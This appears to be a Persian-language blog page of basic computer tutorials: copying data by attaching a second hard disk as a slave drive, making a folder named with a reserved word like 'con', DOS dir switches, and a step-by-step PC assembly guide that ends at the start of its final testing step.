تبلیغات 
تبلیغات
جهت اجرای این آموزش باید کمی حرفه ای باشید و حواستان را جمع کنید.
رایانه ها معمولا دارای یک هارد دیسک هستند . برای اولین قدم بهتر است که پارتیشن های هارد دیسک خودتان را نامگذاری کنید.
برای این کار به My Computer رفته و روی یک پارتیشن کلیک راست کنید . گزینه Properties را انتخاب کنید. در پنجره باز شده شما می توانید نام پارتیشن را تغییر دهید. این کار را برای همه پارتیشن ها تکرار کرده و نام آنها را به خاطر بسپارید .
حالا رایانه تان را خاموش کنید . شما هارددیسکی که می خواهید اطلاعات را از آن کپی کنید در اختیار دارید. به دقت ان را بررسی کنید . همه هارد دیسکها به وسیله یک نوع کابل به مادربورد متصل می شوند .
حالا رایانه تان را خاموش کنید . شما هارددیسکی که می خواهید اطلاعات را از آن کپی کنید در اختیار دارید. به دقت ان را بررسی کنید . همه هارد دیسکها به وسیله یک نوع کابل به مادربورد متصل می شوند . در کنار محل اتصال کابل به هارد دیسک محل اتصال فیش برق یا همان POWER قرار دارد .
اما مهمترین نکته که شما باید به آن دقت کنید جامپرها هستند. معمولا روی بدنه هارد دیسکها نحوه قرار گیری جامپرها توضیح داده شده است.
جامپر یک قطعه ریز است که می توان به وسیله آن تنظیمات یک قطعه سخت افزاری را به صورت فیزیکی تغییر داد.
در جدول موجود روی بدنه هارد دیسک به دنبال وضعیت Slave بگردید. شما باید جامپر هارد دیسک دوم را با توجه به توضیحات این جدول به حالت Slave تغییر بدهید.
حالا در کیس رایانه خاموش را باز کنید . در کیس رایانه تان دنبال هارد خودتان بگردید. مشاهده می کنید که کابلی آن را به مادربرد متصل کرده است .
این کابل معمولا دارای دو جای اتصال می باشد . ممکن است این کابل هم به هارد دیسک شما و هم به سی دی رام متصل باشد .
شما می توانید از طریق همین کابل هارد دیسک دوم را به مادربرد متصل کنید . برای این کار می توانید جای اتصال دوم را از سی دی رام جدا کنید.
به جای آن هارد دیسک را به این قسمت متصل کنید. حالا شما 2 هارد دیسک را از طریق یک کابل به مادربرد رایانه تان متصل کرده اید.
هارد دیسک رایانه شما به عنوان میزبان و هارددیسک دوم به عنوان مهمان به حساب می آید. حالا باید برق مورد نیاز را برای هارد دیسک مهمان تامین کنید. به نوع فیش POWER هارد دیسک دقت کنید . یکی از این نوع فیشها احتمالا در رایانه شما به صورت آزاد وجود دارد .
این کابل ها همگی به سیستم اصلی برق رایانه متصل هستند . یکی از این فیشهای آزاد را به هارد دیسک میمان وصل کنید. حالا باید رایانه تان را روشن کنید .
در صورتی که تمام مراحل را درست انجام داده باشید را یانه شما مثل سابق عمل می کند . ویندوز شما بالا می آید.
اما با رفتن به قسمت My Computer متوجه اضافه شدن پارتیشن های جدید می شوید. پارتیشن های غریبه که نامشان برای شما آشنا نیست همان پارتیشن های هارد دیسک مهمان هستند .
حالا اطلاعاتی را که لازم دارید بین دو هارد دیسک کپی کنید . دقیقا مانند زمانی که روی هارد دیسک خودتان اطلاعات رااز یک پارتیشن به پارتیشن دیگری کپی می کردید .
بعد از تمام شدن کارتان دوباره رایانه تان را خاموش کنید . شما حالا باید همه چیز را به حالت اول برگردانید. هارد دیسک مهمان را با جدا کردن کابل های مادر برد و برق جدا کنید . وضعیت جامپر روی آن را دوباره به حالت اول برگردانید .این حالت روی بدنه هارد دیسک با عنوان Master مشخص شده است .
اگر محل اتصال دوم روی کابل قبلا به سی دی رام متصل بود دوباره آن را به همان وضعیت برگردانید . در کیس را هم کاملا ببندی.
ویندوز سون هفتمین نسخه از سیستم عامل ویندوز میباشد و به همین دلیل است که نام ویندوز 7 را بر آن گذاشتهاند. این ویندوز در پی برخی انتقاداتی که از سنگین بودن هسته نسخه قبلی سیستم عامل مایکروسافت می شد با رفع مشکلات عمده ویستا به بازار آمده است.ویندوز 7 همچنین از رابط کاربری چند لمسی که از تعامل انگشتان دست حاصل می شود پشتیبانی می کند. در این پست قصد ارائه آموزش کاملا تصویری ویندوز 7 را داریم .
شنبه 21 فروردین 1389
نویسنده: نقد فیلم
چطوری میشه فولدر با نام con و... ساخت؟
شما برای ایجاد این پوشه هر جایی که مد نظرتون هست کافیه که در command prompt در خط فرمان این کد رو تایپ کنید
mkdir \\.\c:\con
نکته1 : اون قسمتی که با قرمز مشخص شده (:C) مسیر ایجاد فولدرتون هست. یعنی اگر شما عین این دستوری که نوشتم رو در cmd وارد کنید پوشه ای به اسم con در درایو C شما ساخته میشه.
نکته 2 : این فولدرها پس از ساخته شدن به این راحتی پاک نمیشن
برای پاک کردنشون در command prompt این دستورات رو میتونید بزنید
rd /Q \\.\c:\con
rmdir \\.\c:\con
در این قسمت هم به جای :c مسیر مد نظرتون رو وارد کنید.
راه دوم که تست کردم و جواب داد این هست که
1-هر جا که مایل هستید فولدرتون رو ایجاد کنید راست کلیک کنید
2-New Folder
3-روی اسم New Folder کلیک راست
4-Insert unicode control character
5-کلیک روی ZWJ
6-عبارت con رو تایپ کنید
و اسم فولدر شما con خواهد بود.
نکته: این مشکل که نمیتونید این اسم رو انتخاب کنید به این علت هست که con از عبارات رزرو شده ی ویندوز هستند(مثلا CON اختصار CONsole هست.). این فایل رو نه تنها روی دسکتاپ بلکه هیچ جای دیگه هم نمیتونید ایجاد کنید.
از جمله عبارات دیگه ای که نمیتونن به عنوان اسم فولدر باشن اینا هستن:
PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9
یک توصیه ی دوستانه: این ربطی به سوال نداره ولی من اگر جای شما باشم عنوان تاپیک رو جوری انتخاب میکنم که وقتی در موتور جستجو کسی مشابه این سوال رو سرچ میکنه به این تاپیک برسه.
و راه حل آخر که خودم تستش نکردم:
برای ساخت فولدر این دستور رو در cmd بزنید:
\md c:\con
و برای پاک کردنش این دستور رو :
\rd c:\con
dos
سلام
این بار قصد داریم تا ترفندی را از پیر ترین سیستم عامل جهان به شما معرفی کنیم. سیستم عامل DOS که به عقیده خیلی ها عمرش به سر آمده! در این ترفند قصد داریم تا به شما تمامی دستورات dir را در سیستم عامل Dos به کار میرود را بیاموزیم. این دستور ، یکی از کاربردی ترین دستوراتی است که در این سیستم عامل به کار میرود و بیشتر برای نمایش محتویات یک دایرکتوری به کار میرود.
dir/s تمام فایلهای موجود در ریشه و دایرکتوریهای زیرمجموعه آنرا نمایش میدهد.
dir/a فایلها با خصوصیات خاص را نمایش میدهد: h برای فایلهای مخفی، r برای فایلهای فقط خواندنی، d لیست دایرکتوریها، s فایلهای سیستمی و... (مثال: dir/ah)
dir/b فقط نام و پسوند فایل را نمایش میدهد.
dir/l نام فایلها را با حروف کوچک نمایش میدهد.
dir/-c سایز فایلها را بدون علامت , برای جداسازی سه رقم نشان میدهد.
dir/n نمایش لیست فایلها به اینصورت که نام فایلها در سمت راست نشان داده میشود.
dir/o برای نمایش فایلها بصورت مرتب شده. n بر اساس نام، s بر اساس سایز، e بر اساس پسوند فایل، d بر اساس تاریخ/زمان و ... مثال: dir/on
dir/p اگر لیست فایلها بیش از یک صفحه باشد، بعد از پر شدن یک صفحه منتظر میماند تا کاربر کلیدی را برای ادامه بفشارد.
dir/w برای نمایش نام فایلها در چند ستون متناسب با ابعاد صفحه نمایش.
dir/x نمایش فایلها بصورت استاندارد 8 حرفی برای محیط DOS.
dir c: /ah /s > c:dir.txt لیست کلیه فایلهای مخفی در درایو C را درون فایل متنی با نام dir.txt قرار میدهد.
dir c: /s > prn لیست کلیه فایلهای موجود در درایو C را به پرینتر می فرستد.
dir > NULL نتیجه را به NULL می فرستد و در خروجی چیزی نداریم.
لیستی از فایلهای موجود در یک دایرکتوری در یک فایل
بسیاری اعتقاد دارند که سیستم عامل DOS به تاریخ پیوسته است ، اما نباید از این نکته غافل شد که این سیستم عامل هم قابلیتهای خاص خودش را دارد. یکی از این قابلیتها این است که شما میتوانید فهرست فایلهای موجود در یک دایرکتوری را به صورت فایلی با فرمت TXT در آورید و در صورت نیاز از آن پرینت بگیرید.
برای این کار :
ابتدا وارد محیط MS DOS Prompt یا Command Promt ویندوز شوید. (در Run دستور CMD را تایپ کنید).
پس از ورودبه این محیط میبایست مسیر دایرکتوری (درایو و فوالدر مورد نظر) که قصد دارید از آن فهرست فایلهایش را بگیرید بروید.
سپس در آنجا دستورDIR>>Dirlist.TXT را وارد نمایید.
با این دستور فایلی با نام DIRlist.TXT در همان دایرکتوری ساخته می شود .
برای دیدن فهرست ساخته شده هم ، میتوانید از طریق ویندوز به دایرکتوری مورد نظر بروید و یا در همان محیط Dos دستور EDIT Dirlist.txt را تایپ نمایید.
اگر می خواهید یک رایانه را مونتاژ یا با قطعات سیستم خود آشنا شوید مقاله زیر را دنبال کنید.
اسمبل قطعات کامپیوتر
احتیاط ها :
قبل از این که شروع به نصب اجزا در داخل کیس کنیم , ما احتیاج به آشنا شدن با تعدادی احتیاط های پایه ای در رابطه با استفاده از تجهیزات داریم .
چیپ ها , پین ها و اتصالات روی قسمت های مختلف کامپیوتر , ظریف و حساس هستند . و بعد به کاربردن آن ها می تواند نتایج تاسف باری داشته باشد .همیشه باید سعی کنیم که کارت ها و سایر بردها را با گرفتن از لبه هایشان جابجا کنیم و مورد استفاده قرار دهیم . نباید اتصالات فلزی طلا رنگ روی چیپ های حافظه و کارت ها لمس شود , زیرا مایعات استخراج شده از انگشت ها مشکل ساز هستند و همیشه قبل از کار بر روی PC , حتما باید آن را از برق کشید . همچنین باید نسبت به الکتریسیته ساکن محتاط بود . جرقه ناشی از جابجایی الکتریسیته ساکن توسط نوک انگشتان , می تواند برای همیشه یک چیپ را خراب کند . تا حد ممکن نباید کامپیوتر را در محیط فرش شده اسمبل کرد .
قبل از آن که قطعه ای را در کامپیوتر از جای خود بر داریم , باید کارهای زیر را دنبال کنیم :
پاهای خود را بر جای خود محکم کنیم و حرکت ندهیم .
با تماس با فلز در تماس با زمین , از جمله پشت کیس کامپیوتر وقتی متصل به سوکت سه پایه ای است , بر زمین تکیه دهیم تا هر گونه حرکت در حال سکون در بدنمان را از بین ببریم .
بدون حرکت پاهای خود , هرچه را که باید با قطعه مورد نظر از کامپیوتر انجام دهیم , را انجام می دهیم.
اگر احتیاج به حمل قطعه ای از کامپیوتر شخصی خود را داریم , آن را در یک بسته حمل می کنیم که قطعه مورد نظر ثابت باشد و حرکت نداشته باشد .
پاهای خود را محکم می کنیم و خود را به زمین ثابت می کنیم , قبل از آن که قطعه را از بسته حمل ,
جابجا کنیم .کامپیوتر شخصی خود را در میز بزرگی اسمبل می کنیم . باید اطمینان پیدا کنیم که فضای کافی برای قرار دادن قطعات بر روی آن داریم . یک ظرف یا کاسه کوچکی برای پیچ ها و ابزارهای ریز دیگر به کار می بریم . برای کار اسمبل احتیاج به انبردست و آچار و پیچ گوشتی چهار سوی کوچک و پیچ گوشتی دو سوی کوچک داریم . همچنین ممکن است به یک آینه کوچک و یک چراغ قوه احتیاج پیدا کنیم , وقتی می خواهیم در اطراف کیس که قابل رویت نیستند کار کنیم .
مراحل اسمبل کردن
1- مطالعه کتابچه مادربورد :
برای اسمبل کردن باید ابتدا کتابچه مادربورد را مطالعه کنیم . با مطالعه کتابچه مادربورد قبل از شروع به اسمبل کردن PC , می توان مقدار زیادی در وقت خود صرفه جویی کرد و دردسر خود را کم کرد , حتی این مطالعه قبل از خریدن حافظه و CPU نیز می تواند بسیار مفید باشد . همه کتابچه های مادربورد , همه اطلاعاتی را که باید داشته باشند ندارند , ولی اکثر قربب به اتفاق شرکت های معروف ( مانند Abit , Asus ) مستندات تشریحی را تهیه می کنند . کتابچه ها اطلاعات مهمی را به ما می دهند , از جمله اینکه چگونه جا مپرها را ست کنیم و کدام اسلات ها برای نصب انواع رم هستند . هر چند توصیه می شود که از مادربورد بدون جامپر استفاده شود , بعضی از مادربوردها ممکن است شامل تعدادی جامپر یا سوئیچ های DIP باشند . مادربوردهای مبتنی بر چیپ ست VIA KT266 داری یک جامپر جهت تغییر بین 200 مگاهرتز و 266 مگاهرتز , Front Side گذرگاه هستند و مادربوردهای RAID معمولا دارای تنظیم سوئیچ های DIP هستند .
2- نصب CPU :
اگر از یک سی پی یوی سوکت دار استفاده می شود : باید cpu را از لبه هایش در دست بگیریم و به گوشه های ردیف پین های آن نگاه کنیم , یک یا دو تا از گوشه ها باید پین های کمتری از بقیه داشته باشند . سپس به سوکت روی مادربورد نگاه می کنیم و گوشه هایی که مشابه با گوشه های تک cpu است را شناسایی می کنیم . سپس بازوی کوچک را بلند کرده و به نزدیک سوکت مادربورد برده و به ملایمت و آرامی , با هم خط کردن گوشه های مناسب و مقتضی , cpu را در سوکت قرار می دهیم . در هنگام داخل کردن cpu از فشار استفاده نمی کنیم . cpu باید به درستی در جای خود بلغزد و قرار گیرد . اگر این گونه نشد , اطمینان پیدا می کنیم که بازوی آزاد سازی سوکت کاملا بلند شده باشد و گوشه های تک cpu با گوشه های مربوطه در سوکت , تطابق داشته باشند .سپس بازو را به پایین فشار داده و مطمئن می شویم که آن را در جای درست خود چفت کرده ایم .
سپس کولر cpu را اضافه می نماییم . برخی از کولر های cpu , نوارهای گرمایی از قبل تعبیه شده دارند که در جایی قرار دارد که در تماس با cpu است . اگر کولر از این گونه بود , هر گونه پوشش محافظ را جدا می کنیم ( معمولا نواری از پلاستیک آبی ) . اگر کولر نوار گرمایی متعلق به خود را نداشت , مقدارکمی از خمیر گرمایی را در وسط cpu پخش می کنیم ( خمیر گرمایی خیلی موثر تر از نوار گرمایی است , بنابراین اگر کولر نوار داشته باشد ممکن است کار بهتر این باشد که آن را جدا کنیم ) .کولر cpu را به سوکت , همان طور که در دستور العملهایش توضیح داده شده مرتبط می سازیم . در مکانیزم بستن کولر ممکن است به مقدار زیادی فشار احتیاج باشد , ولی از فشار دادن کولر به طور شدید به طرف پایین بر روی هسته cpu اجتناب می کنیم , فشار مستقیم زیاد می تواند هسته های Athlon را خرد کند . ممکن است بهتر این باشد از یک سری انبردست های با سرهای برآمده سوزنی برای متصل کردن کولر استفاده کنیم . سرانجام , کابل های تغذیه کولر را به محل سه شعبه ای نزدیک , بر روی مادربورد متصل می سازیم .
اگر از cpu اسلاتی استفاده می شود : اگر قبلا کارت cpu را به درون کارتریچ / کولر وارد نکرده اند , این کار را انجام می دهیم . محل های نصب کارتریچ را به سوراخ های مقتضی موجود بر روی مادربورد پیوند می زنیم . کارتریچ را به درون اسلات cpu وارد می کنیم و آن را با محل های نصب محکم می سازیم. کابل های تغذیه کولر را به محل سه شعبه ای نزدیک , بر روی مادربورد متصل می سازیم .
3- نصب حافظه :
مادربوردها دو یا بیشتر اسلات های بلند دارند که معمولا نزدیک cpu هستند که مشابه پین های اتصالی طلایی بر روی حافظه های DIMM می باشند . باید توجه کرد که نمی توان انواع گوناگون RAM را ترکیب و تطبیق ساخت . نباید DIMM های PC133 و PC100 را با هم بکار برد و نباید حافظه ECC و non-ECC را با هم ترکیب ساخت . باید از کتابچه مادربورد کمک گرفت تا انواع حافظه هایی که مادربورد پشتیبانی می کند را مشخص ساخت . اما به هر حال غالبا می توان DIMM های حافظه ها با سایز های مختلف را با هم ترکیب ساخت .به عنوان مثال , اگر یک 128MB PC133 NON-ECC DIMM و یک 256MB PC133 NON-ECC DIMM داشته باشیم احتمالا می توانیم آن دو را با هم به کار گیریم . از کتابچه مادربورد استفاده می کنیم تا ببینیم چگونه DIMM های سایزهای مختلف را مرتب و بچینیم .
برای نصب حافظه , اطمینان پیدا می کنیم که ماردبورد بر روی سطح صافی قرار دارد و هیچ چیزی زیر
آن قرار ندارد . هر سوکت DIMM یک قلاب ( گیره قفلی ) در هر انتهای آن خواهد داشت تا اتصال حافظه را وقتی درون آن قرار دارد مستحکم کند . به گیره های قفلی ضربه سبک و ناگهانی وارد می سازیم تا باز شوند. DIMM ها را یکی یکی وارد می سازیم . شکاف های بر روی لبه DIMM ها را با برآمدگی در سوکت DIMM مرتب می سازیم .فشار مساوی بر کل محل وارد می سازیم تا با صدای تیک شدیدی به جای خود بیفتد . هنگامی که DIMM را به داخل سوکت فشار می دهیم گیره های قفلی باید بسته شوند . قبل از اقدام بیشتر , اطمینان پیدا می کنیم که DIMM کاملا به جای خود وارد شده است و قفل ها بسته هستند .
4- محکم کردن مادربورد در داخل کیس :
کاور کیس را برداشته , در داخل آن باید یک بسته سخت افزار باشد , شامل پیچ های عریض , پیچ های باریک , برجستگی هایی از جنس برنج , واشرهای نایلونی قرمز رنگ و ضمائم دیگر .
قبل از آن که مادربورد را نصب کنیم , ابتدا باید کیس را با برداشتن هرگونه چیز قابل جابجایی که ورود را مشکل می سازد آماده سازیم . اگر از یک tower case استفاده می شود , آن را به کنار می خوابانیم . نگاهی به صفحه فلزی بزرگ در زیر آن می اندازیم . سوراخ های متعددی خواهد داشت , تعدادی از آن ها برای آن است که ما با برجستگی هایی برای پشتیبانی کردن مادربورد خود آن ها را پر سازیم . اگر مادربورد خود را از نزدیک چک کنیم , سوراخ هایی با حاشیه نقره ای خواهیم یافت .اغلب آن ها با سوراخ های برجسته در داخل کیس منطبق خواهند بود , به خاطر روشی که بر اساس آن کیس های ATX و برد ها استاندارد شده اند .
حداقل 6 برجستگی را برای محکم کردن مادربورد به کار می گیریم و اطمینان پیدا می کنیم که هر برجسته برنجی که ما نصب می کنیم , با سوراخی در مادربورد انطباق دارد . نباید هر برجستگی که به طور کامل با مادربورد پوشانده می شود ( با سوراخ های آن انطباق ندارد ) را نصب کرد , زیرا تماس غیر صحیح بین
مادربورد و کیس می تواند باعث سوء عمل و خرابی شود . از یک جفت انبردست برای پیچ دادن برجستگی های هر گوشه مادربورد و حداقل دو یا بیشتر برای پشتیبانی از وسط مادربورد یکی نزدیک اسلات AGP قهوه ای و دیگری در جهت مخالف , استفاده می کنیم . اگر خواستیم می توانیم از تعداد بیشتری استفاده کنیم سپس منطقه برجسته روی مادربورد را آماده می کنیم که پشت کیس می باشد که به سریال mobo , موازی , ps2 , USB و پورت های دیگر مربوط می شود . برخی از کیس ها صفحات پانچ شده ای دارند که قسمتی یا همه سوراخ های برجسته را می پوشانند . پانچ آن ها را جدا کرده و آن ها را دور می ریزیم . برخی از کیس ها یک صفحه برجسته جدا دارند که باید آن را به محکمی به درون محل قبل از وارد کردن مادربورد اضافه کنیم .
مادربورد را به درون کیس وارد می کنیم . مطمئن می شویم هیچ چیز زیر آن نیفتاده یا نلغزیده است . از لبه هایش آن را نگه می داریم . باید مواظب باشیم که آن را به کمک کولر cpu یا اجزاء برد نگیریم . اگر مواظب نباشیم ممکن است چیزی را بشکنیم . هماهنگ سازی برجستگی ها احتیاج به مهارت کمی دارد ولی باید به صبر و حوصله کار کنیم و به چیزی فشار وارد نکنیم . وقتی که مادربورد در جای خود است یک پیچ را ( عریض یا باریک , هر کدام را که برجستگی ها لازم دارند ) برای هر برجستگی همراه با یک واشر نایلونی به کار می بریم . هر پیچ را با یک یا دو دور چرخش می بندیم , اما هیچ کدام را محکم نمی کنیم تا وقتی که همگی آن ها را ببندیم . وقتی همه پیچ ها را نصب کردیم از اول همه پیچ ها را محکم می کنیم , سپس دسته کابل بزرگ تر پاور را از تغذیه پاور به سوکت بزرگ پاور روی مادربورد متصل می کنیم .
مادربورد های پنتیم 4 دارای سوکت پاور دیگر و کوچکتری نیز هستند , به جهت اینکه پاورهای ATX جدید دارای یک کانکتور برای این مورد هستند .
اکنون یک بسته کوچک سیم پیدا می کنیم که از جلوی کیس بیرون زده و دارای کانکتورهای کوچکی است که دارای برچسب هایی مثل " Power SW, " و " Power LED " و " hd led, " و "Speaker" و احتمالا چیز های دیگری می باشد . بیشتر مادربوردها دارای قالب های کوچک پین مخصوص این کابل ها می باشد . کتابچه مادربورد دارای دیاگرامی است که نشان می دهد که هر کدام از این ها به کدام یکی تعلق دارد.
5- تست اول :
قبل از ان که به ادامه کار بپردازیم ما باید مطمئن شویم که مادربورد و پردازنده به درستی کار می کند . بیشتر کیس ها به کامپیوتر اجازه کار با کیس باز را می دهند . کارت گرافیک خود را نصب و آن را بایک پیچ محکم می کنیم . سپس یک کابل پاور AC به منبع تغذیه پاور متصل می کنیم و مانیتور را به پورت VGA ی کارت گرافیک متصل می کنیم . کیبورد را به یک PS/2 متصل می کنیم . اگر منبع پاور دارای یک سوئیچ در بیرون باشد آن را روشن کرده و سپس دکمه پاور را روی PC می زنیم .
اگر اتفاقی نیفتاد احتمالا فراموش شده که کابل AC به سوکت روی دیوار متصل شود یا یکی از کابل های جلوی کیس به مادربورد به طرز صحیحی متصل نشده است . ( ابتدا کانکتورهای " Power SW " و " reset SW " را چک می کنیم ) .
اگر پاور به درستی کار می کند ما باید حداقل صدای فن پاور را بشنویم و فن cpu نیز باید بچرخد .
وقتی همه چیز کار کند ما باید POST Screen ( Power-On Self Text ) با متن سفید روی پس زمینه مشکی را ببینیم .
POST نشان می دهد که کامپیوتر چقدر حافظه دارد و به طور اتوماتیک درایوهای IDE را شناسایی می کند . با این تست ما مطمئن می شویم که مادربورد و cpu و RAM همگی کار می کند .
اگر POST ظاهر نشد نباید نگران شد . کامپیوتر را خاموش و از برق می کشیم و تمام اتصالات را چک می کنیم . اطمینان حاصل می کنیم که همه DIMM ها سر جایشان محکم هستند و کارت گرا فیک در اسلات AGP محکم نصب شده است و مادربورد در داخل کیس درست نصب شده است . اگر پشت سر هم صدای بیپ بشنویم به این معنی است که مادربورد می خواهد یک کد اشتباه به ما بدهد ( و حداقل به این معنی است که ما اسپیکرهای PC را درست نصب کرده ایم ) .کتابچه مادربورد را چک می کنیم تا بفهمیم که چه چیزی را مادربورد می خواهد به ما بفهماند . بعضی از مادربوردها دارای یک سری LED هستند که کدهای اشتباه را نشان می دهند . وقتی همه چیز درست بود PC را از برق کشیده و نصب بقیه قطعات را ادامه می دهیم.
6- نصب وسایل ذخیره سازی :
کیس ها ممکن است دارای چندین محل درایو باشند . بعضی از محل های درایو دارای صفحه های قابل جدا شدن در جلوی کیس هستند که به آن ها محل های External گفته می شود و در دو سایز هستند . 5 اینچ برای قطعاتی مانند درایوهای CD-ROM و 3 اینچ برای وسایل ذخیره سازی کوچکتر مانند فلاپی درایوها . کیس ها احتمالا چندین محل Internal 3 اینچی دارند که برای هارد دیسک ها در نظر گرفته شده اند . گاهی اوقات محل Internal نصب شده , قابل جابجایی است که نصب و محکم کردن هارد درایو را بسیار آسان می سازد . بعضی از کیس ها دارای ریل هایی هستند که به درایوها اضافه می شوند تا آن ها را کشویی کنند و براحتی در داخل کیس حرکت داده شوند .برای دریافت جزئیات بیشتر باید به مستندات کیس خود مراجعه کنید .
ابتدا ما هارد درایوهای IDE را نصب می کنیم . بیشتر هارد درایوها دارای یک قالب جامپر در پشتشان نزدیک کانکتورها هستند . در لیبل آن ها , همچنین یک دیاگرام می باشند که توضیح می دهد که چگونه جامپرها را ست کنیم تا از خود درایو استفاده کنیم یا به عنوان درایو master یا slave روی یک IDE BUS . اگر ما یک هارد درایو داشته باشیم باید آن را به عنوان درایو single یا single/master ست کنیم . اگر دو تا داشته باشیم یکی را به عنوان master و دیگری را به عنوان slave ست می کنیم.
همچنان که قبلا گفته شد اگر ممکن باشد باید محل های درایو internal را در بیاوریم . اگر محل های کیس بیرون نمی آیند فقط دنبال محل internal مناسب و دم دست در داخل کیس می گردیم .اگر محلی در نزدیکی منبع پاور باشد سعی شود که از آن استفاده نشود , منبع پاور تولید گرما می کند و ما می خواهیم که هارددرایو تا آنجا که ممکن است خنک بماند . هارد درایو را داخل یک محل درایو internal می کنیم . بنابراین کانکتورها به سمت داخل قرار می گیرند , به سمت مادربورد . آن را با چهار پیچ سفت می کنیم ( درایوهای مختلف از پیچ های مختلفی بهره می گیرند بنابراین سعی کنیم از آن هایی که همراه درایو عرضه می شوند استفاده کنیم ) . محل دایو internal را همراه با هارد درایو نصب شده خارج از کیس نگه می داریم تا زمانی که کابل ها را وصل کنیم .سپس آن را به جای خودش بر می گردانیم و سفت می کنیم .
همانند هارد درایوها , درایوهای نوری نیز می توانند master یا slave باشند . اگر فقط یک درایو داشته باشیم مهم نیست که جامپرهای آن چگونه ست می شوند . اما اگر دو درایو داشته باشیم یکی باید master و دیگری باید slave باشد . اکنون برای هر دایو نوری ( CD-ROM , DVD-ROM یا CD-RW ) یک محل external جدا می کنیم . پوشش متناظر را از جلوی کیس بر می داریم . ممکن است یک صفحه پانچ شده فلزی وجود داشته باشد که احتیاج به برداشتن آن نیز هست . درایوها را در محل ها سر می دهیم . بسته به کیس , طرف چپ درایوها ( وقتی به سمت جلو کیس نگاه می کنیم ) قابل دسترسی آسان تر نسبت به طرف راست می باشد . سفت کردن این درایوها تنها با دو پیچ در طرف چپ کافی است .
7- اتصال کابل های Data و Power :
بیشتر مادربوردها شامل دو کابل ریبون 40 پینی برای درایوهای IDE و یک کابل 36 پینی برای درایوهای فلاپی هستند .
همراه با مادربوردهای جدید امروزی حداقل یک و ممکن است هر دو از کابل های 40 پینی در وا قع 80 سیم داشته باشند ( این ها برای درایوهایی هستند که از رابط ATA-66 یا سریع تر استفاده می کنند ) و یک کانکتور آبی دارند .
کانکتورها معمولا اسلات شده هستند . بنابراین آن ها فقط در یک جهت نصب می شوند . اگر این گونه نیستند نگاهی به خود ریبون می اندازیم , یک سیم , رنگی است . آن سیم باید به پینی که با 1 لیبل گذاری شده
است یا با یک پیکان روی درایو و مادربورد به ترتیب علامت گذاری شده است مرتبط شود . فلاپی درایو را در یک محل درایو 3 پینی External نصب می کنیم . همانند درایوهای نوری , شاید احتیاج به برداشتن کاور و صفحه پانچ باشد . آن را حداقل با دو پیچ سفت می کنیم .
اگر تنها یک کابل 80 سیمی داشته باشیم , سر آبی آن را به پورت IDE اصلی مادربورد متصل می کنیم . سپس به بقیه کانکتورها نگاهی می اندازیم .یکی باید با عنوان " master " لیبل گذاری شده باشد . آن را به هارد درایو master ( یا تنها هارد درایو ) متصل می کنیم .اگر دو تا هارد درایو داشته باشیم کانکتور آخری روی کابل را به درایو master متصل می کنیم و کانکتور میانی را به slave . همین کار را با درایوهای نوری تکرار می کنیم , آن ها را به پورت IDE دوم متصل می کنیم . کابل فلاپی درایو یک گره در یک انتهایش دارد . آن سر را به کانکتور 36 پینی فلاپی درایو متصل می کنیم و مطمئن می شویم که ترتیب کابل رنگ شده را با پین های مارک حفظ کرده ایم . سر دیگر کابل را به اسلات مخصوص روی مادربورد متصل می کنیم .باید توجه کرد که هنگام اتصال قطعات IDE باید از اتصالات درایوهای با سرعت بالا ( Ultra-ATA/100 ) با درایوهای سرعت پایین ( ATA/33 ) اجتناب کرد . به عنوان مثال اگر ما یک جفت هارد درایو داشته باشیم که یکی از آن ها brand-new ATA/100 و دیگری یک درایو قدیمی تر باشد , ما باید آن دو را در کانال های جداگانه نگهداری کنیم . چرا که سرعت انتقال پایین تر درایو قدیمی , مزایای درایو جدید را از بین می برد . حساب انگشتی : سریع را با سریع و کند را با کند باید نگه داشت .
اکنون باید همه این درایوها را پاوردهی کنیم . اگر نگاهی به دسته سیم های بیرون زده از پاور داشته باشیم دو نوع کانکتور را می بینیم . کانکتورهای بزرگ تر برای هارد درایو ها و درایوهای نوری هستند که آن ها در یک جهت باریک شده اند و هر درایوی با یک قالب متناظر با آن ها خواهد داشت . کانکتورهای کوچک تر برای فلاپی درایو هستند که آن ها هم همچنین فقط در یک جهت می باشند .
8- نصب کارت های expansion :
اکنون که قطعات اصلی را نصب کرده ایم ما باید کارت های expansion را نصب کنیم . ما قبلا کارت گرافیک AGP را برای تست کارایی اجزای اصلی نصب کرده ایم . ما همچنین احتمالا کارت صدا و کارت های PCI دیگری نیز داریم که لازم است آن ها را در اسلات های PCI سفید رنگ نصب کنیم . اگر مادربورد چیپ audio به صورت onboard داشته باشد و ما مایل به نصب کارت صدا به جای آن باشیم , ما باید ساپورت audio ی مادربورد را از کار بیندازیم از طریق برنامه Bios setup .
نصب کارت های expansion در مقایسه با تمام مراحلی که قبلا انجام داده ایم ساده است . به سادگی , gate ی ( کادر فلزی کوچک در پشت کیس ) را که متناظر با اسلات کارت است بر می داریم و با دقت کارت را در محلش قرار می دهیم . اطمینان حاصل می کنیم که آن را در جایش کاملا به طرف پایین فشار می دهیم , آن را با یک پیچ سفت می کنیم .( باید توجه کرد که بیشتر کیس ها از پیچ های عریض برای اسلات های expansion بهره می گیرند اما بعضی از پیچ های باریک استفاده می کنند ) . این کار را برای تمام کارت های expansion که مایل به نصب آن ها هستیم انجام می دهیم : video , audio , network و غیره .
اکنون یک کابل اضافی وجود دارد که باید نسبت به آن دقیق باشیم . درایو CD-ROM همراه با یک کابل خاکستری عرضه می شود . ما باید یک طرف آن را به کانکتور audio-out درایو متصل کنیم . و سر دیگر آن را به قاب CD-in کارت صدا ( یا مادربورد , اگر از sound onboard استفاده می شود ) . این کابل یک ضرورت در PC کاربردی نیست . هدف از آن این است که موزیک را از درایو سی دی رام به فرم آنالوگ تا کارت صدا عبور دهد . همچنین در بیشتر موارد این امکان وجود دارد تا از این کابل استفاده نشود و به تبادل دیجیتال موزیک از کابل ریبون IDE تکیه شود .
9- تست بزرگ :
